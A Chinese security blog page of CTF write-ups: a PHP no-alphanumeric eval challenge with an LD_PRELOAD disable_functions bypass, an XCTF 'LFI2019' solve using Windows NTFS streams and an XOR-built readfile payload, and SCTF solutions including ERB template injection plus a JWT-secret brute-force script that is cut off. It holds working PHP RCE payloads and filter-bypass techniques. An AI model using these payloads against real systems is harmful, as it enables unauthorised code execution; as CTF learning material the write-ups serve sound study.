Articles in the category of CTF

CTF

前言

本题是由于前期新手题放出来,有些能力比较强的师傅秒完题没题做,放出来拖拖时间给师傅们找点乐趣的。
难度并不大,都是考烂的知识点,不过由于就花了半个小时出题= =,结果大部分都和我想要的预期解不一样。
这里就说一下预期解
题目环境: http://114.116.44.23:40001/
题目源码:

 <?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

非预期

发现大部分师傅的exp都是这个

?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令

emmmmmm
应该大部分都是网上直接copy的,一摸一样,没得灵魂
原因还是因为我给的条件太宽泛了,其实预期解,是想让大家自己实现无文件RCE的
if(preg_match("/[A-Za-z0-9]+/",$code) ×

~~if(preg_match("/[A-Za-z0-9_`'"^?<>${}]+/",$code) √

预期

我的exp:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
//("assert")(("next")(("getallheaders")()));

当然,这个exp需要php版本刚好为7.0,通过phpinfo就可以知道版本,大于小于这个exp都会失效,具体原因大家应该知道为什么(卖个关子

然后我们就可以在U-A头里面随意执行命令,蚁剑连上,准备拿flag
然而,我们发现 根目录的 /flag无法读取,很多人来问我为什么
其实看权限就能知道,/flag是没有权限读取的,打过CTF的都知道,一般这个时候,根目录会留一个/readflag来让ctfer 执行命令拿flag,/readflag会有一个s权限 Linux 文件权限与ACL

所以,我们必须RCE才能获取/flag

但是,phpinfo里ban了所有RCE函数,
图片.png

pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals,
system,exec,shell_exec,popen,proc_open,
passthru,symlink,link,syslog,imap_open,ld,dl

一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等
这里的话都过滤的比较好,
这时候,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html

具体原理上面讲的比我好,大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可惜的是,大部分同学做到这一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶机上前人做题留下来的脚本直接使用拿到/flag,并没有自己去想怎么绕过disable_function

后者这算我出题的一个小失误,但是我也没有实现动态靶机的能力,只能说心有余而力不足。
上面的github的链接就是本题的exp,原理也说了,工具怎么用,就看看上面的github,虽然没有达到我想要的预期,不过放在新生赛题目中,能看到有几个新生确实凭着自己能力,最终把这道题给做了出来,还是蛮欣慰了。
这个CTF题目比较偏pentest,在我之前的一次渗透中,就用到了这个方法RCE
https://evoa.me/index.php/archives/58/

end

题目环境不会关,除非我VPS过期 XD,想复现这个简单题目的师傅可以去复现一下 (溜

- Read More -
CTF

官方已放出源码
https://github.com/stypr/my-ctf-challenges/tree/master/XCTF_Finals_2019/lfi2019

前言

比赛打的很糟糕,太菜了,只会做这一道题,而且还是刚好考的知识点都了解,纯属运气,rp选手,其他题都是刘师傅C我,要开始闭关学习了
还有ROIS是真的强,做web跟喝水一样

源码

由于现在刚刚打完比赛,所以我把这道题完整的做题思路写出来,尽量保证跟我当时的想法一模一样(绝对不是凑字数

首先这道题放出来已经是第二天了,第一天我是0产出,很急,看到这个题的时候我也是没有想到能做出来,然而恰好思路对上了。

看题目,没有任何描述,只给了个网址,先访问网址,顺手抓包发现题目返回头给了个X-Hint,叫我访问这个路由
图片.png
打开后给了源码

 <?php

    /*
        Developed by stypr.
        Made in 2018, Releasing in 2019!
    */

    // Baka flag-sama and seed-chan! //
    error_reporting(0);
    ini_set("display_errors","off");
    @require('flag.php');
    $seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));

    if($flag === $_GET['trigger']){
        die(hash("sha256", $seed . $flag));
    }

    // Sessions are never used but we add that //
    ini_set('session.cookie_httponly', 1); @phpinfo();
    ini_set('session.cookie_secure', 1); @phpinfo();
    ini_set('session.use_only_cookies',1); @phpinfo();
    ini_set('session.gc_probability', 1); @phpinfo();
    // but really, you can't really do something with sessions. //
    session_save_path('./sess/');
    session_name("lfi2019");
    session_start();
    session_destroy();

    // Flush directory for security purposes //
    // Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
    function rrmdir($dir, $depth=0){ 
        if (is_dir($dir)){
            $objects = scandir($dir); 
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    if(is_dir($dir."/".$object))
                        rrmdir($dir."/".$object, $depth + 1);
                    else
                        unlink($dir."/".$object); 
                }
            }
        }
        if($depth != 0) rmdir($dir); 
    }
    function countdir($dir){
        if (is_dir($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    $count += 1;
                    if(is_dir($dir."/".$object))
                        $count += countdir($dir."/".$object);
                }
            }
        }
        return $count;
    }
    if(countdir("./files/") >= 100) @rrmdir("./files/");

    // Here, kawaii path-san for you! //
    function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }

    // Triggering this is nearly impossible //
    class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }

    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    // XSS protection and hints ^-^ //
    header('X-Hint: /index.php?show-me-the-hint');
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block;');
    header('X-Content-Type-Options: nosniff');
    header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

    //header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
    //"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");

    // Hello, JSON! //
    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }
?>
<!doctype html>
<html>
<head>
    <meta charset=utf-8>
    <link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
    <link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
    <link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
    <title>LFI2019</title>
</head>
<body>
    <div class="modal fade" id="put-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">put2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="upload-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="upload-filename">
                    </div>
                    <div class="form-group">
                        <label for="upload-content" class="col-form-label">Content:</label>
                        <textarea class="form-control disabled" id="upload-content" rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="upload-submit">put();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="get-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">get2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="include-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="include-filename">
                    </div>
                    <div class="form-group">
                        <textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="include-submit">include();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="info-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                </div>
                <div class="modal-body">
                    <p>
                        Hi there! We introduce LFI2019 with another technique that never came out on CTFs. 
                        We want to end tedious LFI challenges starting from this year.
                        Traps are everywhere, so be warned. Good Luck!
                    </p>
                    <p>
                        .. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
                    </p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>
    <ul class="text hidden">
        <li>L</li>
        <li class="ghost">e</li>
        <li class="ghost">g</li>
        <li class="ghost">i</li>
        <li class="ghost">t</li>
        <li class="spaced">F</li>
        <li class="ghost">i</li>
        <li class="ghost">l</li>
        <li class="ghost">e</li>
        <li class="spaced">I</li>
        <li class="ghost">n</li>
        <li class="ghost">c</li>
        <li class="ghost">l</li>
        <li class="ghost">u</li>
        <li class="ghost">s</li>
        <li class="ghost">i</li>
        <li class="ghost">o</li>
        <li class="ghost">n</li>
        <li class="spaced">2019</li>
        <br>
        <br>
        <div class="hide" id="kawaii">
            <center>
                <button class="btn col-4 btn-success half" id="get">include</button>
                <button class="btn col-4 btn-warning" id="put">upload</button>
                <button class="btn col-3 btn-info" id="info">info</button>
                <p class="lightgrey">
                    Reference ID: <b class="ref"><?php echo $seed; ?></b>
                </p>
                Made with &hearts; by stypr.
            </center>
        </div>
    </ul>
    <script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU --> 

思路

当时看到这又丑又长的代码,大致浏览一遍,得到的信息是,flag在flag.php文件中,然后有很多很奇怪的功能,比如session,还有两个类,214-231是核心代码,主要说了有两种访问方式,一种传get,会实例化get类,另一种传put,会实例化put类
然后因为final,要不惜一切手段找攻击面(除了py),于是我另一边开了dirsearch去扫,下面是扫描结果(有伏笔
图片.png
为了做题,我沉下气仔细的看了一遍代码,发现


class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }
protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }

这些还有session的逻辑好像都没什么用处,还有最下面的YouTube注释,我还去看了一下==
而且前几行按道理应该输出phpinfo,并且我把代码放到本地搭建了一下,发现输出了phpinfo,但是远程就不行(伏笔
暂且没管,由于代码有很多闲杂功能,我挑一下核心代码

 <?php

   @require('flag.php');
   function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {

        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {

        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }
    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }

上面差不多就是核心代码了,具体审计就不讲了,大概说讲一下具体逻辑

put

put类可以进行写文件操作,文件名可控但是要经过path_sanitizer过滤,然后拼接写在files目录下,path_sanitizer函数会过滤. (重要) 所以写php,分布式配置等含.的文件都别想了,只能写普通文件,然后写的内容也可控,但是要过这个正则

preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code)

差不多就是put类的大概意思

get

get类可以进行文件读取,并且在最后面有个include操作,所以猜侧具体思路是写普通文件,然后用include包含执行,刚好满足题目意思,
首先传入的文件名也可控,但是也要经过path_sanitizer函数过滤,并且也会在前面自动拼接./files/,所以肯定是先写到files文件夹,然后包含之。然而最麻烦的过滤在上面核心代码的66-72行,如下

<?php
function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}

path_sanitizer函数根据第二个参数有两种过滤模式,第二个参数为假或者默认,就主要是过滤.,并且是匹配到直接报错(简称过滤A) ,但如果第二个参数为真则在过滤A的基础上还会把正反斜杠替换为空(过滤B)。
而上面几行代码的逻辑是传入的文件名字符串,经过两种过滤方式输出的文件名和文件内容都必须不一样,否者就直接返回了,这段代码通过后就会include $this->filename,所以我们只要绕过这个if判断就可以包含了

绕过过滤(失败尝试1

一开始我想用反斜杠来绕过,因为linux下可以用反斜杠做文件名
图片.png
先put一个含的文件名比如evoA233,当我们get传入文件名 为evoA233,
过滤A会返回evoA233,过滤B会evoA233,两者文件名不一样,文件内容也不一样(其中一个文件不存在内容为空)。就可以成功包含了。
但是我打的时候一直不成功,无奈本地搭建了一下,然后发现本地是可以打通的
由于最终包含的是过滤A返回的,也就是最终包含的是evoA233
图片.png
图片.png
Nope是文件内容被替换的结果,include直接打印了出来
但是远程服务器一直不成功,陷入困境

突然发现不得了的事情

思考了一下,还记得之前的dirsearch的扫描吗,扫出来有个INDEX.PHP和index.PHP,并且内容都是一样的
图片.png
正常来说,linux文件系统是分大小写的,访问这两个文件肯定是404的,但是!Windows系统是不分文件名大小写的,所以大胆猜测,这是一个windows环境
而对于windows,文件名是不能含有的,会自动被替换成/被当作路径,也就是我们不能通过上面的反斜杠文件名来绕过
这时旁边贾师傅说,“如果能创目录就好了,创个xxx目录,然后往目录写个aaa文件,内容是payload,访问xxx/aaa就可以成功包含了”,

Windows特性 & 解决方法

但是可惜的是,file_put_contents不能创目录
但是!windows有磁盘流方法创目录啊
图片.png
https://www.cnblogs.com/hookjoy/p/6579646.html
如果环境是windows,当我们file_put_contents的文件名是syc233::$INDEX_ALLOCATION的时候,当前文件夹下就会生成一个syc233的文件夹,然后用put类往这个文件下写一个evoa文件,就可以绕过成功包含了。

图片.png
图片.png
图片.png远程服务器上终于成功了,接下来就是撰写文件内容payload了

无字母数字rce payload

写文件操作,文件内容要通过下面的正则

<?php
preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
?>

对于无字母数字payload已经考了很多次,可以发现^这个万金油没有被过滤,于是可以用^来绕过,
由于php7和php5的无字母数字rce payload不一致,但是此时我不能判断服务器的php版本,而且很奇怪的是phpinfo写在了源码却没有输出,这时候我本来是想去咨询出题人的,但是我发现
源码第12行
$seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));
官网的资料显示

图片.png
只有php7以后才可以用PHP_INT_MIN这个变量,所以大胆猜测环境是php7

然后就可以通过 ^ 符号构造字符串"phpinfo"然后()执行即可,但是我们可用的只有<>!@#$%^&*_?+.-\'"=()[];这些符号。我写了一个脚本来获取这些字符相互异或能得到的其他字符

dicc = "<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

图片.png
这些符号相互异或得到的字符有限,如上报错,字典里没有o,所以我们要多创造一些字符
然而,$ _ !这三个符号没有被过滤,我们可以用这三个符号创造数字<br />$ == null
!$_ == true<br />!$
+ !$_==2<br />然而,字符和纯数字异或得不到字符串,我们必须把数字 变成 数字字符串<br />[https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md](https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md)<br />trim函数可以把数字变成字符串<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189017751-9641db20-f79b-461d-9684-564a1c119d62.png#align=left&display=inline&height=51&name=%E5%9B%BE%E7%89%87.png&originHeight=102&originWidth=1186&size=65806&status=done&width=593)<br />很巧的是,trim这4个字母,上面的字符恰好可以生成<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189102294-894f040a-d390-4b0a-b654-e0895bce53b9.png#align=left&display=inline&height=38&name=%E5%9B%BE%E7%89%87.png&originHeight=76&originWidth=1274&size=28159&status=done&width=637)<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189116411-6a76d0cc-020b-489e-be05-c4feb452c9c4.png#align=left&display=inline&height=52&name=%E5%9B%BE%E7%89%87.png&originHeight=104&originWidth=1708&size=73225&status=done&width=854)使用$__=("\"^"(").("\"^".").(")"^"@").("-"^"@");$__($_);就可以生成字符1234567890了。
图片.png
再把1234567890加入脚本的字典里

dicc = "0123456789<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

我们可以生成o字符了,然后payload就用php短标签,最终生成phpinfo() exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_)).("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_+!$_)).("\\"^$__(!$_+!$_)).(";"^"]").("\\"^$__(!$_+!$_+!$_)))();?>

但是并没有解析成功打印。于是我大胆的猜测!
服务端把phpinfo加入disable_functions里了
其实说得过去,要不然为什么首页不打印phpinfo
那既然开启了disable_function,rce函数也不想了,肯定也被ban了,而且php7.1以上assert也变成语法结构了,该怎么轻松rce拿flag,
虽然我们字典扩充了0123456789,但是baodian里还是无法生成.字符_字符$字符,主要生成的是英文字母,所以最终我选择了readfile(next(getallheaders()))动态调用
最终构造好的exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("\\"^".").(";"^"^").("\\"^"=").(";"^"_").(";"^"]").("\\"^$__(!@$_+!@$_+!@$_+!@$_+!@$_)).("\\"^$__(!@$_-!@$_)).(";"^"^"))((("\\"^$__(!@$_+!@$_)).(";"^"^").("\\"^"$").("\\"^"("))((((";"^"\\").(";"^"^").("\\"^"(").("\\"^"=").("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_+!@$_+!@$_+!@$_)).(";"^"^").("\\"^"=").(";"^"_").(";"^"^").("\\"^".").("]"^"."))())))?>

由于windows的问题,next(getallheaders())取的是Connection 头
图片.png
图片.png
图片.png

终于拿到flag了,还是一血,有点开心,可能这就是CTF的魅力吧

后话

感谢赛宁和r3kapig团队,很完美的一场比赛,质量很高的一场比赛,学到了很多,也认清了自己的菜(QAQ)

- Read More -
CTF

Misc

签到

出题人: XXX
解题人数: 260
最终分数:71
data:image/jpeg;base64,/9j/4QBkRXhpZgAATU0AKgAAAAgABYdp...

给了个图片的base64编码,某些浏览器可能渲染会截断,本来想放hint提示浏览器问题,但是直接被秒了就没放hint了,这里可能有点小坑,后端上题目的时候并没有挤在一行,结果到了题目界面却挤到一行了...这里直接快速三击三下url即可选中,复制到地址栏扫码关注公众号,然后输入cat /flag即可
图片.png

头号玩家

出题人:xxx
解题人数:75
最终分数:212

一直往前

Maaaaaaze

出题人: Kkdlong
解题人数: 27
最终分数: 434

关于树的直径(最长路径)的证明可以看:https://www.cnblogs.com/wuyiqi/archive/2012/04/08/2437424.html

#处理html部分
from bs4 import BeautifulSoup
from collections import deque
import re

with open("Maze.html", "r") as file:
    html_doc = file.read()
soup = BeautifulSoup(html_doc, 'html.parser')
lattice = soup.find_all('td')
pattern = re.compile(r'border-([a-z]+):')
maze = []
for j in range(100):
    temp1 = []
    for i in range(j * 100, j * 100 + 100):
        temp = ""
        result = pattern.findall(str(lattice[i]))
        print(result)
        if 'top' not in result:
            temp += "u"
        if 'bottom' not in result:
            temp += "d"
        if 'right' not in result:
            temp += "r"
        if 'left' not in result:
            temp += "l"
        temp1.append(temp)
    maze.append(temp1)
#bfs部分,参考Nu1l师傅的脚本,更加简洁
move = {'u': (-1, 0), 'd': (1, 0), 'l': (0, -1), 'r': (0, 1)}
queue = deque()
queue.append(((0, 0), 0))
visited = []
ans = 0
ansv = ()
while queue:
    v, res = queue.popleft()
    if res > ans:
        ans = res
        ansv = v
    if v not in visited:
        visited.append(v)
        for adj in maze[v[0]][v[1]]:
            queue.append(((v[0] + move[adj][0], v[1] + move[adj][1]), res + 1))
print(ansv, ans)

从(0,0)开始寻得一端点为(80,92),(0,0)替换为(80,92)找到另一端点为(70,21),迷宫最长路径即为4056
flag:sctf{9529fbba677729d3206b3b9073d1e9ca}

打开电动车

出题人: D0glrq & GX1000
解题人数: 19
最终分数: 526

首先用Universal radio hacker打开该文件,电动车的固定码基本都为ask调制。查看PT226X与PT224X可知:在226x
中不可能出现10这种情况,故只可能是PT224X,再查协议手册,可知地址位长度为20bit,后4位为数据位,填入即可。

图片.png
图片.png

Web

flag shop

出题人:evoA
解题人数:10
最终分数:689

扫robots.txt发现源码泄露,访问/filebak得到源码,/work路由有个功能模糊的正则匹配功能,猜测做题会用到

unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

然后这里存在一个erb模版注入

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

参考https://www.anquanke.com/post/id/86867

但是只能输入7个字符,除去<%==>只有两个字符可以利用,这时可以利用ruby全局变量$&,可以获得上一次正则匹配的结果,结合上面那个模糊的公就可以爆破JWT secret伪造jkl购买flag即可

exp:

#python 3
import requests

import jwt
import base64
# pip install PyJWT

dic = "0123456789abcdefghijklmnopqrstuvwxyz"
secret = ""
host = "http://47.110.15.101"
authUrl = host+"/api/auth"
workUrl = host+"/work"
shopUrl = host+"/shop"

req = requests.session()
# 获取身份
req.get(authUrl)

die = False
for i in range(50):

    if die:
        break
    for j in dic:
